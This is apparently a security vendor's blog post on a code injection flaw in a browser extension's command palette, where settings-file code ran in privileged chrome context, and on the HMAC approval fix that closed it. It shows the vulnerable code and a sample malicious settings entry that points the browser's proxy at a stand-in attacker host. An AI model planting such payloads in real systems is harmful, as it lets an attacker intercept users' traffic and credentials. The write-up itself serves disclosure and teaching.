Back to Blog
critical SEVERITY9 min read

How Unsafe eval() in Browser Chrome Context Happens in JavaScript and How to Fix It

A critical code injection vulnerability in `command-palette/dynamic-commands.js` allowed arbitrary JavaScript to execute in the browser's privileged chrome context by passing unsanitized code from a user-controlled settings file directly into `Cu.evalInSandbox()`. The fix introduces an HMAC-based trust system that cryptographically hashes each custom command's code and requires explicit user approval before execution. This prevents attackers who can write to the settings file from silently injec

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

This is a Code Injection vulnerability (CWE-94) in JavaScript, specifically in the `generateCustomCommands()` function of `command-palette/dynamic-commands.js`. The `cmd.code` field from a user-controlled JSON settings file was passed directly to `Cu.evalInSandbox()` with `wantXrays: false` and `sandboxPrototype: window`, enabling arbitrary script execution in the browser chrome context. The fix adds an HMAC-based approval workflow: each code snippet is hashed with `hmacCode()`, checked against a persisted allowlist via `loadApprovedHashes()`, and — if not previously approved — shown to the user in a confirmation dialog before execution. This ensures only explicitly trusted code snippets can run.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code)
fixHMAC-based code hashing and an explicit user-approval allowlist before any dynamic code execution
riskArbitrary JavaScript execution with full window object access in privileged browser context
languageJavaScript (Browser Chrome / Mozilla Extension)
root causecmd.code from a user-controlled JSON settings file passed directly to Cu.evalInSandbox() without validation or approval
vulnerabilityCode Injection via unsafe eval() in browser chrome context

How Unsafe eval() in Browser Chrome Context Happens in JavaScript and How to Fix It

Introduction

The command-palette/dynamic-commands.js file is responsible for loading and executing user-defined custom commands in a browser extension's command palette. It reads command definitions — including raw JavaScript code — from a settings JSON file, then executes them on demand. That sounds powerful and flexible. It is. It is also exactly the kind of feature that becomes a critical security vulnerability the moment the settings file can be written by anyone other than a fully trusted source.

At line 390 of dynamic-commands.js, the generateCustomCommands() function passed cmd.code — a string read directly from a JSON file on disk — into Cu.evalInSandbox() with wantXrays: false and sandboxPrototype: window. No validation. No hash check. No user confirmation. Any attacker who could write a single JSON file to the user's profile directory could execute arbitrary JavaScript in the browser's privileged chrome context.

This post walks through exactly how that happened, how it was fixed, and what every developer building plugin or scripting systems should take away from it.


The Vulnerability Explained

What the Code Was Doing

Inside generateCustomCommands(), commands of type 'js' were handled like this (simplified from the pre-fix code):

// VULNERABLE — before the fix
if (cmd.type === "js") {
  commandFunc = async () => {
    try {
      Cu.evalInSandbox(
        cmd.code,           // <-- raw string from settings JSON
        sandbox,
        "latest",
        "custom-command",
        1,
        { wantXrays: false, sandboxPrototype: window }  // full window access
      );
    } catch (e) {
      showToast(`Error: ${e.message}`);
    }
  };
}

cmd.code comes from Storage.loadSettings(), which reads a JSON file at the path configured by the zen-command-palette.settings-file-path preference (defaulting to chrome/zen-commands-settings.json). That file is a plain text file on disk — no cryptographic signature, no integrity check.

Why Cu.evalInSandbox() with These Options Is Dangerous

Cu.evalInSandbox() is a Mozilla-specific API used in browser chrome code to execute JavaScript in a controlled compartment. The key problem here is the options object:

{ wantXrays: false, sandboxPrototype: window }
  • sandboxPrototype: window — The sandbox inherits from the chrome window object, giving executed code access to the full browser window API, including tabs, preferences, native file I/O bridges, and more.
  • wantXrays: false — Disables X-ray vision, meaning the injected code sees the real underlying objects rather than safe wrappers. This removes a key layer of Mozilla's security architecture.

This is not a safe sandbox. It is the browser's most privileged execution environment with the guardrails turned off.

The Attack Scenario

Here is a concrete, step-by-step attack against this specific code:

  1. Attacker gains write access to chrome/zen-commands-settings.json — this could be a malicious npm package, a compromised local application, a symlink attack, or simply a social-engineering trick ("paste this config to unlock features").

  2. Attacker injects a malicious command entry into the settings JSON:

{
  "commands": [
    {
      "name": "Update Preferences",
      "type": "js",
      "code": "const {Services} = ChromeUtils.import('resource://gre/modules/Services.jsm'); Services.prefs.setCharPref('network.proxy.http', 'evil.example.com'); Services.prefs.setIntPref('network.proxy.http_port', 8080);"
    }
  ]
}
  1. User opens the command palette and sees a command named "Update Preferences" — it looks like a legitimate built-in command.

  2. User activates the command. generateCustomCommands() reads cmd.code from the JSON and passes it verbatim to Cu.evalInSandbox().

  3. The injected code runs in the chrome context, silently reconfiguring the browser's network proxy to route all traffic through an attacker-controlled server. From there, the attacker can intercept credentials, inject content into web pages, or pivot further.

The same technique could be used to exfiltrate browser-stored passwords, install a persistent backdoor via userChrome.js, or disable security preferences — all without any user-visible warning.

Why This Matters Beyond This Repository

This pattern — "load code from a config file and eval it" — appears in countless plugin systems, scripting engines, and developer tools. The vulnerability is not unique to this codebase; it is a recurring architectural mistake. The lesson here applies to VS Code extensions, Electron apps, browser extensions, and any Node.js application that supports user-defined scripts.


The Fix

What Changed

The fix introduces a cryptographic approval workflow using three new utility functions imported from ./utils/trust.js:

import { hmacCode, loadApprovedHashes, trustHash } from "./utils/trust.js";

Inside the commandFunc for 'js' type commands, the execution path now looks like this:

// FIXED — after the patch
if (cmd.type === "js") {
  commandFunc = async () => {
    try {
      const approvedHashes = await loadApprovedHashes();
      const codeHash = await hmacCode(cmd.code);

      if (!approvedHashes[codeHash]) {
        const preview = cmd.code.length > 200
          ? cmd.code.slice(0, 200) + "…"
          : cmd.code;
        const approved = window.confirm(
          `Run custom JS command "${cmd.name}"?\n\n` +
          `This will execute the following JavaScript in the browser:\n\n` +
          preview
        );
        // ... if approved, call trustHash(codeHash) to persist approval
      }
      // only reaches Cu.evalInSandbox() if hash is approved
    } catch (e) {
      showToast(`Error: ${e.message}`);
    }
  };
}

Before vs. After

Aspect Before After
Input validation None HMAC hash checked against allowlist
User awareness Silent execution Explicit confirmation dialog with code preview
Persistence N/A Approved hashes stored via trustHash()
Attack surface Any writable JSON file Requires user interaction per unique code snippet

How Each Part of the Fix Contributes

hmacCode(cmd.code) — Computes an HMAC of the raw code string. HMAC (Hash-based Message Authentication Code) produces a fixed-length digest that is unique to the exact byte sequence of the code. If an attacker modifies even one character of a previously approved command, the hash changes and re-approval is required.

loadApprovedHashes() — Loads a persisted map of previously approved HMAC digests. This means users only see the confirmation dialog once per unique code snippet — legitimate commands are not repeatedly interrupted.

window.confirm() with code preview — If the hash is not in the approved set, the user sees a dialog showing the command name and the first 200 characters of the code. This is a meaningful security boundary: a silent attacker injection is now surfaced as an explicit, visible prompt that a security-conscious user can reject.

trustHash(codeHash) — Persists the approval so subsequent invocations of the same code do not require re-confirmation.

This is a defense-in-depth approach. Even if an attacker writes to the settings file, the injected code cannot execute without the user explicitly approving it through a dialog that shows them what they are about to run.


Key Takeaways

  • Cu.evalInSandbox() with sandboxPrototype: window and wantXrays: false is not a sandbox — it is the browser's most privileged execution context with safety features disabled. Never pass unvalidated external data into it.
  • Settings files on disk are attack surfaces. The path chrome/zen-commands-settings.json is writable by any process running as the current user. Treat its contents as untrusted input, not as trusted configuration.
  • HMAC hashing + user approval is a pragmatic middle ground when eval() cannot be eliminated. It ensures users see and explicitly consent to what code will run, and that previously approved code cannot be silently swapped out.
  • The 200-character preview in the confirmation dialog matters. Showing users the actual code — not just the command name — prevents social engineering attacks where a malicious command is given a benign-sounding name like "Update Preferences."
  • Importing trust utilities (hmacCode, loadApprovedHashes, trustHash) as a module means the approval logic is centralized and testable, rather than duplicated inline wherever dynamic code execution occurs.

How Orbis AppSec Detected This

  • Source: cmd.code field loaded from Storage.loadSettings(), which reads a user-controlled JSON file at the path specified by the zen-command-palette.settings-file-path preference.
  • Sink: Cu.evalInSandbox(cmd.code, sandbox, "latest", "custom-command", 1, { wantXrays: false, sandboxPrototype: window }) at command-palette/dynamic-commands.js:390.
  • Missing control: No hash verification, no signature check, no user confirmation, and no validation of the cmd.code field before passing it to the privileged execution API.
  • CWE: CWE-94 — Improper Control of Generation of Code ('Code Injection').
  • Fix: An HMAC digest of each code snippet is computed via hmacCode(), checked against a persisted allowlist via loadApprovedHashes(), and — if not previously approved — presented to the user in an explicit confirmation dialog before Cu.evalInSandbox() is invoked.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The generateCustomCommands() vulnerability in dynamic-commands.js is a textbook example of how a genuinely useful feature — user-defined scripting — becomes a critical security hole when the code being executed is not treated as untrusted input. The browser chrome context is one of the most privileged execution environments in a desktop system. Passing arbitrary strings from a writable JSON file into it, silently and without user awareness, is equivalent to offering any local process a root shell.

The HMAC-based approval fix is elegant because it does not remove the feature. Users can still write and run custom JavaScript commands. What they can no longer do — and what attackers can no longer exploit — is have code run silently without the user's knowledge and explicit consent. Every developer building a plugin or scripting system should apply the same principle: make the execution of dynamic code a visible, auditable, and user-confirmed action, not a silent side effect of loading a configuration file.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #92

Related Articles

high

CVE-2026-4800: lodash Template Imports Allow Code Execution

CVE-2026-4800 affects lodash's `_.template()` templating API, where untrusted input reaching the `imports` option can lead to arbitrary code execution. The fix was shipped as a dependency upgrade from lodash 4.17.21 to 4.18.1 in the project's lockfile, though the PR itself notes it was never verified against the actual code paths in this repository.

critical

proxy-addr 2.0.7 IP Spoofing: CVE-2026-90711 Trust Bypass

A critical vulnerability in proxy-addr 2.0.7 allowed attackers to spoof client IP addresses by manipulating X-Forwarded-For headers when the trust chain evaluation contained specific misconfigurations. The fix in version 2.0.8 hardens the trust evaluation logic to prevent IP address falsification in Express.js applications relying on this common middleware dependency.

high

TweenMax `_applyCycle` Prototype Pollution via vars.cycle Keys

A bundled copy of the TweenMax animation library copied attacker-influenceable `vars.cycle` property names straight onto a tween configuration object using an unguarded `for...in` loop, so a key named `__proto__`, `constructor`, or `prototype` was written through to the object's prototype chain. The fix adds an explicit key denylist to both copies of the `_applyCycle` helper so those three names are skipped during the merge. No CVE or GHSA is assigned; the issue is tracked as CWE-1321 (Improperl

high

picomatch 2.3.1 ReDoS: Extglob Pattern Catastrophic Backtracking

picomatch versions below 2.3.2, 3.0.2, or 4.0.4 contain a Regular Expression Denial of Service vulnerability in extglob pattern parsing. An attacker can cause catastrophic backtracking with patterns containing nested alternations and quantifiers, freezing any Node.js process that evaluates untrusted glob expressions.

critical

pet-window.js Dynamic Code Evaluation: CWE-94 Hardening via Number

The pet-window module constructed dynamic JavaScript by embedding raw configuration values into code strings. An attacker with local access could inject arbitrary JavaScript by modifying stored configuration. The fix replaces string interpolation with explicit Number() coercion and NaN validation for all numeric configuration parameters.

high

sanitizeUnicodeInput(): Fullwidth U+ Bypasses Codepoint Validation

The `sanitizeUnicodeInput()` helper used by the project character-range settings screen rewrote `U+` prefixes to `0x` and called `parseInt()`, but never normalized its argument first. Compatibility-equivalent forms such as fullwidth `U+`, superscript digits, or mathematical alphanumerics never matched the `/U\+/gi` regex, fell through to the `else return inputString` branch, and were handed back to callers verbatim as "sanitized" values. The fix inserts a `String.prototype.normalize('NFKC')` pas